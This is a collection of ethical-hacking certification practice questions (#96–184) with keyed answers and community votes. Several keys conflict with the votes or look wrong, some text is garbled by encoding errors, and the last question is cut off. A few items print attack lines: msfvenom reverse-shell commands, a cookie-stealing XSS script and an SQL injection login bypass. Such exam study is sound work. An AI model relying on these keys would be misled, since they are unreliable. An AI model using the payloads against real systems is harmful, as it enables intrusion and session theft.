What kind of detection techniques is being used in antivirus software that identifies malware by collecting data from multiple protected systems and instead of analyzing files locally it's made on the provider's environment?

A. Behavioral based

B. Heuristics based

C. Honeypot based

D. Cloud based

Correct Answer: *D*

Community vote distribution

D (71%) A (29%)

Question #96 *Topic 1*

Which of the following tools is used to analyze the files produced by several packet-capture programs such as tcpdump, WinDump, Wireshark, and EtherPeek?

A. tcptrace

B. Nessus

C. OpenVAS

D. tcptraceroute

Correct Answer: *A*

Community vote distribution

A (100%)

Question #97 *Topic 1*

What is the way to decide how a packet will move from an untrusted outside host to a protected inside that is behind a firewall, which permits the hacker to determine which ports are open and if the packets can pass through the packet-filtering of the firewall?

A. Session hijacking

B. Firewalking

C. Man-in-the middle attack

D. Network sniffing

Correct Answer: *B*

Community vote distribution

B (100%)

Question #98 *Topic 1*

Which of the following is not a Bluetooth attack?

A. Bluedriving

B. Bluesmacking

C. Bluejacking

D. Bluesnarfing

Correct Answer: *A*

Question #99 *Topic 1*

What is the role of test automation in security testing?

A. It is an option but it tends to be very expensive.

B. It should be used exclusively. Manual testing is outdated because of low speed and possible test setup inconsistencies.

C. Test automation is not usable in security due to the complexity of the tests.

D. It can accelerate benchmark tests and repeat them with a consistent test setup. But it cannot replace manual testing completely.

Correct Answer: *D*

Community vote distribution

D (100%)

Question #100 *Topic 1*

Your company performs penetration tests and security assessments for small and medium-sized business in the local area. During a routine security assessment, you discover information that suggests your client is involved with human trafficking.
What should you do?

A. Confront the client in a respectful manner and ask her about the data.

B. Copy the data to removable media and keep it in case you need it.

C. Ignore the data and continue the assessment until completed as agreed.

D. Immediately stop work and contact the proper legal authorities.

Correct Answer: *D*

Community vote distribution

D (83%) C (17%)

Question #101 *Topic 1*

While using your bank's online servicing you notice the following string in the URL bar:
`http://www.MyPersonalBank.com/account?id=368940911028389&Damount=10980&Camount=21`
You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflect the changes.
Which type of vulnerability is present on this site?

A. Cookie Tampering

B. SQL Injection

C. Web Parameter Tampering

D. XSS Reflection

Correct Answer: *C*

Question #102 *Topic 1*

The establishment of a TCP connection involves a negotiation called three-way handshake. What type of message does the client send to the server in order to begin this negotiation?

A. ACK

B. SYN

C. RST

D. SYN-ACK

Correct Answer: *B*

Question #103 *Topic 1*

Which type of security feature stops vehicles from crashing through the doors of a building?

A. Bollards

B. Receptionist

C. Mantrap

D. Turnstile

Correct Answer: *A*

Question #104 *Topic 1*

The company ABC recently contracts a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. Which of the following options can be useful to ensure the integrity of the data?

A. The CFO can use a hash algorithm in the document once he approved the financial statements

B. The CFO can use an excel file with a password

C. The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure is the same document

D. The document can be sent to the accountant using an exclusive USB for that document

Correct Answer: *A*

Community vote distribution

A (100%)

Question #105 *Topic 1*

What is the purpose of a demilitarized zone on a network?

A. To scan all traffic coming through the DMZ to the internal network

B. To only provide direct access to the nodes within the DMZ and protect the network behind it

C. To provide a place to put the honeypot

D. To contain the network devices you wish to protect

Correct Answer: *B*

Question #106 *Topic 1*

Which of the following Linux commands will resolve a domain name into IP address?

A. >host-t a hackeddomain.com

B. >host-t ns hackeddomain.com

C. >host -t soa hackeddomain.com

D. >host -t AXFR hackeddomain.com

Correct Answer: *A*

Question #107 *Topic 1*

Shellshock allowed an unauthorized user to gain access to a server. It affected many Internet-facing services, which OS did it not directly affect?

A. Linux

B. Unix

C. OS X

D. Windows

Correct Answer: *D*

Community vote distribution

D (100%)

Question #108 *Topic 1*

Which regulation defines security and privacy controls for Federal information systems and organizations?

A. HIPAA

B. EU Safe Harbor

C. PCI-DSS

D. NIST-800-53

Correct Answer: *D*

Question #109 *Topic 1*

What is a `Collision attack` in cryptography?

A. Collision attacks try to get the public key

B. Collision attacks try to break the hash into three parts to get the plaintext value

C. Collision attacks try to break the hash into two parts, with the same bytes in each part to get the private key

D. Collision attacks try to find two inputs producing the same hash

Correct Answer: *D*

Question #110 *Topic 1*

Which of the following tools can be used for passive OS fingerprinting?

A. nmap

B. tcpdump

C. tracert

D. ping

Correct Answer: *B*

Community vote distribution

B (100%)

Question #111 *Topic 1*

Which of the following describes the characteristics of a Boot Sector Virus?

A. Modifies directory table entries so that directory entries point to the virus code instead of the actual program.

B. Moves the MBR to another location on the RAM and copies itself to the original location of the MBR.

C. Moves the MBR to another location on the hard disk and copies itself to the original location of the MBR.

D. Overwrites the original MBR and only executes the new virus code.

Correct Answer: *C*

Question #112 *Topic 1*

Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?

A. Use the built-in Windows Update tool

B. Use a scan tool like Nessus

C. Check MITRE.org for the latest list of CVE findings

D. Create a disk image of a clean Windows installation

Correct Answer: *B*

Question #113 *Topic 1*

Which of the following is a command line packet analyzer similar to GUI-based Wireshark?

A. nessus

B. tcpdump

C. ethereal

D. jack the ripper

Correct Answer: *B*

Community vote distribution

B (89%) 11%

Question #114 *Topic 1*

DHCP snooping is a great solution to prevent rogue DHCP servers on your network. Which security feature on switchers leverages the DHCP snooping database to help prevent man-in-the-middle attacks?

A. Spanning tree

B. Dynamic ARP Inspection (DAI)

C. Port security

D. Layer 2 Attack Prevention Protocol (LAPP)

Correct Answer: *B*

Question #115 *Topic 1*

Bob, a network administrator at BigUniversity, realized that some students are connecting their notebooks in the wired network to have Internet access. In the university campus, there are many Ethernet ports available for professors and authorized visitors but not for students.
He identified this when the IDS alerted for malware activities in the network.
What should Bob do to avoid this problem?

A. Disable unused ports in the switches

B. Separate students in a different VLAN

C. Use the 802.1x protocol

D. Ask students to use the wireless network

Correct Answer: *C*

Community vote distribution

C (100%)

Question #116 *Topic 1*

A company's policy requires employees to perform file transfers using protocols which encrypt traffic. You suspect some employees are still performing file transfers using unencrypted protocols because the employees do not like changes. You have positioned a network sniffer to capture traffic from the laptops used by employees in the data ingest department. Using Wireshark to examine the captured traffic, which command can be used as a display filter to find unencrypted file transfers?

A. tcp.port = = 21

B. tcp.port = 23

C. tcp.port = = 21 | | tcp.port = =22

D. tcp.port ! = 21

Correct Answer: *A*

Question #117 *Topic 1*

You just set up a security system in your network. In what kind of system would you find the following string of characters used as a rule within its configuration? alert tcp any any -> 192.168.100.0/24 21 (msg: ``FTP on the network!``;)

A. A firewall IPTable

B. FTP Server rule

C. A Router IPTable

D. An Intrusion Detection System

Correct Answer: *D*

Question #118 *Topic 1*

Which of the following program infects the system boot sector and the executable files at the same time?

A. Polymorphic virus

B. Stealth virus

C. Multipartite Virus

D. Macro virus

Correct Answer: *C*

Question #119 *Topic 1*

To determine if a software program properly handles a wide range of invalid input, a form of automated testing can be used to randomly generate invalid input in an attempt to crash the program.
What term is commonly used when referring to this type of testing?

A. Randomizing

B. Bounding

C. Mutating

D. Fuzzing

Correct Answer: *D*

Question #120 *Topic 1*

An Intrusion Detection System (IDS) has alerted the network administrator to a possibly malicious sequence of packets sent to a Web server in the network's external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file. What type of network tool can be used to determine if these packets are genuinely malicious or simply a false positive?

A. Protocol analyzer

B. Network sniffer

C. Intrusion Prevention System (IPS)

D. Vulnerability scanner

Correct Answer: *A*

Question #121 *Topic 1*

The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE's Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the Transport Layer Security (TLS) protocols defined in RFC6520.
What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?

A. Public

B. Private

C. Shared

D. Root

Correct Answer: *B*

Community vote distribution

B (100%)

Question #122 *Topic 1*

Why should the security analyst disable/remove unnecessary ISAPI filters?

A. To defend against social engineering attacks

B. To defend against webserver attacks

C. To defend against jailbreaking

D. To defend against wireless attacks

Correct Answer: *B*

Question #123 *Topic 1*

Which of the following is a component of a risk assessment?

A. Administrative safeguards

B. Physical security

C. DMZ

D. Logical interface

Correct Answer: *A*

Community vote distribution

A (100%)

Question #124 *Topic 1*

CompanyXYZ has asked you to assess the security of their perimeter email gateway. From your office in New York, you craft a specially formatted email message and send it across the Internet to an employee of CompanyXYZ. The employee of CompanyXYZ is aware of your test. Your email message looks like this:

From: jim_miller@companyxyz.com -
To: michelle_saunders@companyxyz.com

Subject: Test message -

Date: 4/3/2017 14:37 -
The employee of CompanyXYZ receives your email message.
This proves that CompanyXYZ's email gateway doesn't prevent what?

A. Email Masquerading

B. Email Harvesting

C. Email Phishing

D. Email Spoofing

Correct Answer: *D*

Community vote distribution

D (80%) A (20%)

Question #125 *Topic 1*

Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not needed if he properly configures the firewall to allow access just to servers/ports, which can have direct internet access, and block the access to workstations.
Bob also concluded that DMZ makes sense just when a stateful firewall is available, which is not the case of TPNQM SA.
In this context, what can you say?

A. Bob can be right since DMZ does not make sense when combined with stateless firewalls

B. Bob is partially right. He does not need to separate networks if he can create rules by destination IPs, one by one

C. Bob is totally wrong. DMZ is always relevant when the company has internet servers and workstations

D. Bob is partially right. DMZ does not make sense when a stateless firewall is available

Correct Answer: *C*

Community vote distribution

C (75%) B (25%)

Question #126 *Topic 1*

Which of the following commands checks for valid users on an SMTP server?

A. RCPT

B. CHK

C. VRFY

D. EXPN

Correct Answer: *C*

Question #127 *Topic 1*

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API.
Which of the following tools is used by Wilson in the above scenario?

A. Factiva

B. ZoomInfo

C. Netcraft

D. Infoga

Correct Answer: *D*

Question #128 *Topic 1*

Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the IoT device and the certifications granted to it.
Which of the following tools did Bob employ to gather the above information?

A. FCC ID search

B. Google image search

C. search.com

D. EarthExplorer

Correct Answer: *A*

Question #129 *Topic 1*

A penetration tester is performing the footprinting process and is reviewing publicly available information about an organization by using the Google search engine.
Which of the following advanced operators would allow the pen tester to restrict the search to the organization's web domain?

A. [allinurl:]

B. [location:]

C. [site:]

D. [link:]

Correct Answer: *C*

Question #130 *Topic 1*

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks.
What is the component of the Docker architecture used by Annie in the above scenario?

A. Docker objects

B. Docker daemon

C. Docker client

D. Docker registries

Correct Answer: *B*

Question #131 *Topic 1*

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email.
Which stage of the cyber kill chain are you at?

A. Reconnaissance

B. Weaponization

C. Command and control

D. Exploitation

Correct Answer: *D*

Community vote distribution

B (100%)

Question #132 *Topic 1*

Sam is working as a system administrator in an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect its severity using CVSS v3.0 to properly assess and prioritize the organization's vulnerability management processes. The base score that Sam obtained after performing CVSS rating was 4.0.
What is the CVSS severity level of the vulnerability discovered by Sam in the above scenario?

A. Critical

B. Medium

C. High

D. Low

Correct Answer: *B*

Question #133 *Topic 1*

John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using
PGP. What should John do to communicate correctly using this type of encryption?

A. Use his own private key to encrypt the message.

B. Use his own public key to encrypt the message.

C. Use Marie's private key to encrypt the message.

D. Use Marie's public key to encrypt the message.

Correct Answer: *D*

Question #134 *Topic 1*

The network users are complaining because their systems are slowing down. Further, every time they attempt to go to a website, they receive a series of pop-ups with advertisements. What type of malware have the systems been infected with?

A. Trojan

B. Spyware

C. Virus

D. Adware

Correct Answer: *D*

Question #135 *Topic 1*

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.
Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

A. In-band SQLi

B. Union-based SQLi

C. Out-of-band SQLi

D. Time-based blind SQLi

Correct Answer: *C*

Question #136 *Topic 1*

Which type of virus can change its own code and then cipher itself multiple times as it replicates?

A. Stealth virus

B. Tunneling virus

C. Cavity virus

D. Encryption virus

Correct Answer: *A*

Community vote distribution

D (86%) 14%

Question #137 *Topic 1*

What is the port to block first in case you are suspicious that an IoT device has been compromised?

A. 22

B. 48101

C. 80

D. 443

Correct Answer: *B*

Community vote distribution

B (60%) C (20%) D (20%)

Question #138 *Topic 1*

What is the correct way of using MSFvenom to generate a reverse TCP shellcode for Windows?

A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c

B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c

C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Correct Answer: *C*

Community vote distribution

A (61%) C (39%)

Question #139 *Topic 1*

Samuel, a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.
Which of the following attacks can be performed by exploiting the above vulnerability?

A. Padding oracle attack

B. DROWN attack

C. DUHK attack

D. Side-channel attack

Correct Answer: *B*

Question #140 *Topic 1*

Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered.
John decided to perform a TCP SYN ping scan on the target network.
Which of the following Nmap commands must John use to perform the TCP SYN ping scan?

A. nmap -sn -PO < target IP address >

B. nmap -sn -PS < target IP address >

C. nmap -sn -PA < target IP address >

D. nmap -sn -PP < target IP address >

Correct Answer: *B*

Question #141 *Topic 1*

Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her
MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.
Which of the following cloud attacks did Alice perform in the above scenario?

A. Cloud cryptojacking

B. Man-in-the-cloud (MITC) attack

C. Cloud hopper attack

D. Cloudborne attack

Correct Answer: *C*

Question #142 *Topic 1*

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization.
What is the tool employed by John to gather information from the LDAP service?

A. ike-scan

B. Zabasearch

C. JXplorer

D. EarthExplorer

Correct Answer: *C*

Question #143 *Topic 1*

Richard, an attacker, targets an MNC. In this process, he uses a footprinting technique to gather as much information as possible. Using this technique, he gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date. With this information, he creates a map of the organization's network and misleads domain owners with social engineering to obtain internal details of its network.
What type of footprinting technique is employed by Richard?

A. VoIP footprinting

B. Email footprinting

C. Whois footprinting

D. VPN footprinting

Correct Answer: *C*

Question #144 *Topic 1*

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine.
What is the social engineering technique Steve employed in the above scenario?

A. Diversion theft

B. Quid pro quo

C. Elicitation

D. Phishing

Correct Answer: *C*

Community vote distribution

B (100%)

Question #145 *Topic 1*

In an attempt to increase the security of your network, you implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know it.
How do you accomplish this?

A. Delete the wireless network

B. Lock all users

C. Disable SSID broadcasting

D. Remove all passwords

Correct Answer: *C*

Question #146 *Topic 1*

Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However, Jane has a long, complex password on her router. What attack has likely occurred?

A. Wardriving

B. Wireless sniffing

C. Evil twin

D. Piggybacking

Correct Answer: *C*

Question #147 *Topic 1*

To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time.
Which technique is discussed here?

A. Subnet scanning technique

B. Permutation scanning technique

C. Hit-list scanning technique.

D. Topological scanning technique

Correct Answer: *C*

Question #148 *Topic 1*

Louis, a professional hacker, had used specialized tools or search engines to encrypt all his browsing activity and navigate anonymously to obtain sensitive/hidden information about official government or federal databases. After gathering the information, he successfully performed an attack on the target government organization without being traced.
Which of the following techniques is described in the above scenario?

A. Website footprinting

B. Dark web footprinting

C. VPN footprinting

D. VoIP footprinting

Correct Answer: *C*

Community vote distribution

B (93%) 7%

Question #149 *Topic 1*

An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests.
What is the type of vulnerability assessment solution that James employed in the above scenario?

A. Service-based solutions

B. Product-based solutions

C. Tree-based assessment

D. Inference-based assessment

Correct Answer: *D*

Question #150 *Topic 1*

Dorian is sending a digitally signed email to Poly. With which key is Dorian signing this message and how is Poly validating it?

A. Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key.

B. Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

C. Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

D. Dorian is signing the message with Poly's public key, and Poly will verify that the message came from Dorian by using Dorian's public key.

Correct Answer: *C*

Question #151 *Topic 1*

At what stage of the cyber kill chain theory model does data exfiltration occur?

A. Weaponization

B. Actions on objectives

C. Command and control

D. Installation

Correct Answer: *B*

Community vote distribution

B (83%) C (17%)

Question #152 *Topic 1*

Heather's company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that Heather will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring.
Which of the following is this type of solution?

A. Iaas

B. Saas

C. PaaS

D. Caas

Correct Answer: *B*

Community vote distribution

B (100%)

Question #153 *Topic 1*

By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext.
Which file do you have to clean to clear the password?

A. .xsession-log

B. .profile

C. .bashrc

D. .bash_history

Correct Answer: *D*

Community vote distribution

D (67%) A (33%)

Question #154 *Topic 1*

Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

A. Scanning

B. Gaining access

C. Maintaining access

D. Reconnaissance

Correct Answer: *B*

Community vote distribution

B (100%)

Question #155 *Topic 1*

John is investigating web-application firewall logs and observers that someone is attempting to inject the following: char buff[10]; buff[10] = ``a';
What type of attack is this?

A. SQL injection

B. Buffer overflow

C. CSRF

D. XSS

Correct Answer: *B*

Question #156 *Topic 1*

Mr. Omkar performed tool-based vulnerability assessment and found two vulnerabilities. During analysis, he found that these issues are not true vulnerabilities.
What will you call these issues?

A. False positives

B. True negatives

C. True positives

D. False negatives

Correct Answer: *A*

Question #157 *Topic 1*

Which file is a rich target to discover the structure of a website during web-server footprinting?

A. domain.txt

B. Robots.txt

C. Document root

D. index.html

Correct Answer: *B*

Community vote distribution

C (100%)

Question #158 *Topic 1*

What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

A. White-hat hacking program

B. Bug bounty program

C. Ethical hacking program

D. Vulnerability hunting program

Correct Answer: *B*

Question #159 *Topic 1*

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join with a group of users or organizations to share a cloud environment.
What is this cloud deployment option called?

A. Private

B. Community

C. Public

D. Hybrid

Correct Answer: *B*

Question #160 *Topic 1*

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.
Which of the following host discovery techniques must he use to perform the given task?

A. UDP scan

B. ARP ping scan

C. ACK flag probe scan

D. TCP Maimon scan

Correct Answer: *B*

Question #161 *Topic 1*

An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware.
Which of the following tools must the organization employ to protect its critical infrastructure?

A. Robotium

B. BalenaCloud

C. Flowmon

D. IntentFuzzer

Correct Answer: *B*

Community vote distribution

C (100%)

Question #162 *Topic 1*

Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company. After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, and rummaging bins.
What is the type of attack technique Ralph used on Jane?

A. Impersonation

B. Dumpster diving

C. Shoulder surfing

D. Eavesdropping

Correct Answer: *A*

Community vote distribution

A (100%)

Question #163 *Topic 1*

Bella, a security professional working at an IT firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames, and passwords are shared in plaintext, paving the way for hackers to perform successful session hijacking. To address this situation, Bella implemented a protocol that sends data using encryption and digital certificates.
Which of the following protocols is used by Bella?

A. FTPS

B. FTP

C. HTTPS

D. IP

Correct Answer: *A*

Question #164 *Topic 1*

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs.
What type of malware did the attacker use to bypass the company's application whitelisting?

A. File-less malware

B. Zero-day malware

C. Phishing malware

D. Logic bomb malware

Correct Answer: *A*

Question #165 *Topic 1*

Kevin, a professional hacker, wants to penetrate CyberTech Inc's network. He employed a technique, using which he encoded packets with Unicode characters.
The company's IDS cannot recognize the packets, but the target web server can decode them.
What is the technique used by Kevin to evade the IDS system?

A. Session splicing

B. Urgency flag

C. Obfuscating

D. Desynchronization

Correct Answer: *C*

Question #166 *Topic 1*

To invisibly maintain access to a machine, an attacker utilizes a rootkit that sits undetected in the core components of the operating system. What is this type of rootkit an example of?

A. Hypervisor rootkit

B. Kernel rootkit

C. Hardware rootkit

D. Firmware rootkit

Correct Answer: *B*

Question #167 *Topic 1*

Which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker?

A. Botnet

B. Intrusion detection system

C. Firewall

D. Honeypot

Correct Answer: *D*

Question #168 *Topic 1*

Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address.
Which of the following Nmap commands helped Jim retrieve the required information?

A. nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >

B. nmap -Pn -sU -p 44818 --script enip-info < Target IP >

C. nmap -Pn -sT -p 46824 < Target IP >

D. nmap -Pn -sT -p 102 --script s7-info < Target IP >

Correct Answer: *B*

Community vote distribution

B (100%)

Question #169 *Topic 1*

In this form of encryption algorithm, every individual block contains 64-bit data, and three keys are used, where each key consists of 56 bits. Which is this encryption algorithm?

A. IDEA

B. Triple Data Encryption Standard

C. AES

D. MD5 encryption algorithm

Correct Answer: *B*

Question #170 *Topic 1*

Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed.
What is the port scanning technique used by Sam to discover open ports?

A. Xmas scan

B. IDLE/IPID header scan

C. TCP Maimon scan

D. ACK flag probe scan

Correct Answer: *D*

Community vote distribution

C (100%)

Question #171 *Topic 1*

Gerard, a disgruntled ex-employee of Sunglass IT Solutions, targets this organization to perform sophisticated attacks and bring down its reputation in the market.
To launch the attacks process, he performed DNS footprinting to gather information about DNS servers and to identify the hosts connected in the target network.
He used an automated tool that can retrieve information about DNS zone data including DNS domain names, computer names, IP addresses, DNS records, and network Whois records. He further exploited this information to launch other sophisticated attacks.
What is the tool employed by Gerard in the above scenario?

A. Towelroot

B. Knative

C. zANTI

D. Bluto

Correct Answer: *D*

Question #172 *Topic 1*

Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes Wi-Fi sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now,
Clark gains access to Steven's iPhone through the infected computer and is able to monitor and read all of Steven's activity on the iPhone, even after the device is out of the communication zone.
Which of the following attacks is performed by Clark in the above scenario?

A. Man-in-the-disk attack

B. iOS jailbreaking

C. iOS trustjacking

D. Exploiting SS7 vulnerability

Correct Answer: *C*

Question #173 *Topic 1*

John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server.
What is the technique employed by John to bypass the firewall?

A. DNSSEC zone walking

B. DNS cache snooping

C. DNS enumeration

D. DNS tunneling method

Correct Answer: *D*

Question #174 *Topic 1*

Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries.
Which of the following tiers of the container technology architecture is Abel currently working in?

A. Tier-1: Developer machines

B. Tier-2: Testing and accreditation systems

C. Tier-3: Registries

D. Tier-4: Orchestrators

Correct Answer: *B*

Question #175 *Topic 1*

Taylor, a security professional, uses a tool to monitor her company's website, analyze the website's traffic, and track the geographical location of the users visiting the company's website.
Which of the following tools did Taylor employ in the above scenario?

A. Webroot

B. Web-Stat

C. WebSite-Watcher

D. WAFW00F

Correct Answer: *B*

Question #176 *Topic 1*

Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack.
What is the type of vulnerability assessment performed by Johnson in the above scenario?

A. Wireless network assessment

B. Application assessment

C. Host-based assessment

D. Distributed assessment

Correct Answer: *A*

Question #177 *Topic 1*

You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page.
What is the best Linux pipe to achieve your milestone?

A. wget https://site.com | grep ג€<a href=\ג€httpג€ | grep ג€site.comג€

B. curl -s https://site.com | grep ג€<a href=\ג€httpג€ | grep ג€site.comג€ | cut -d ג€ג\€ג€ -f 2

C. dirb https://site.com | grep ג€siteג€

D. wget https://site.com | cut -d ג€httpג€

Correct Answer: *A*

Community vote distribution

B (60%) A (40%)

Question #178 *Topic 1*

Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider.
In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

A. Cloud consumer

B. Cloud broker

C. Cloud auditor

D. Cloud carrier

Correct Answer: *D*

Community vote distribution

D (100%)

Question #179 *Topic 1*

A post-breach forensic investigation revealed that a known vulnerability in Apache Struts was to blame for the Equifax data breach that affected 143 million customers. A fix was available from the software vendor for several months prior to the intrusion. This is likely a failure in which of the following security processes?

A. Secure development lifecycle

B. Security awareness training

C. Vendor risk management

D. Patch management

Correct Answer: *D*

Question #180 *Topic 1*

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app. What is the attack performed on Don in the above scenario?

A. SIM card attack

B. Clickjacking

C. SMS phishing attack

D. Agent Smith attack

Correct Answer: *D*

Community vote distribution

D (100%)

Question #181 *Topic 1*

This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

A. HMAC encryption algorithm

B. Twofish encryption algorithm

C. IDEA

D. Blowfish encryption algorithm

Correct Answer: *B*

Question #182 *Topic 1*

Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs.
Which two SQL injection types would give her the results she is looking for?

A. Out of band and boolean-based

B. Union-based and error-based

C. Time-based and union-based

D. Time-based and boolean-based

Correct Answer: *B*

Community vote distribution

D (93%) 7%

Question #183 *Topic 1*

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script>
document.write(`~<img.src=`https://localhost/submitcookie.php? cookie ='+ escape(document.cookie) +`' />);
</script>
What issue occurred for the users who clicked on the image?

A. This php file silently executes the code and grabs the user's session cookie and session ID.

B. The code redirects the user to another site.

C. The code injects a new cookie to the browser.

D. The code is a virus that is attempting to gather the user's username and password.

Correct Answer: *A*

Question #184 *Topic 1*

Suppose that you test an application for the SQL injection vulnerability. You know that the backend database is based on Microsoft SQL Server. In the login/ password form, you enter the following credentials:
Username: attack' or 1=1 `"

Password: 123456 -
Based on the above credentials, which of the following SQL commands are you expecting to be executed by the server, if there is indeed an SQL injection vulnerability?

A. select * from Users where UserName = 'attack' ' or 1=1 -- and UserPassword = '123456'

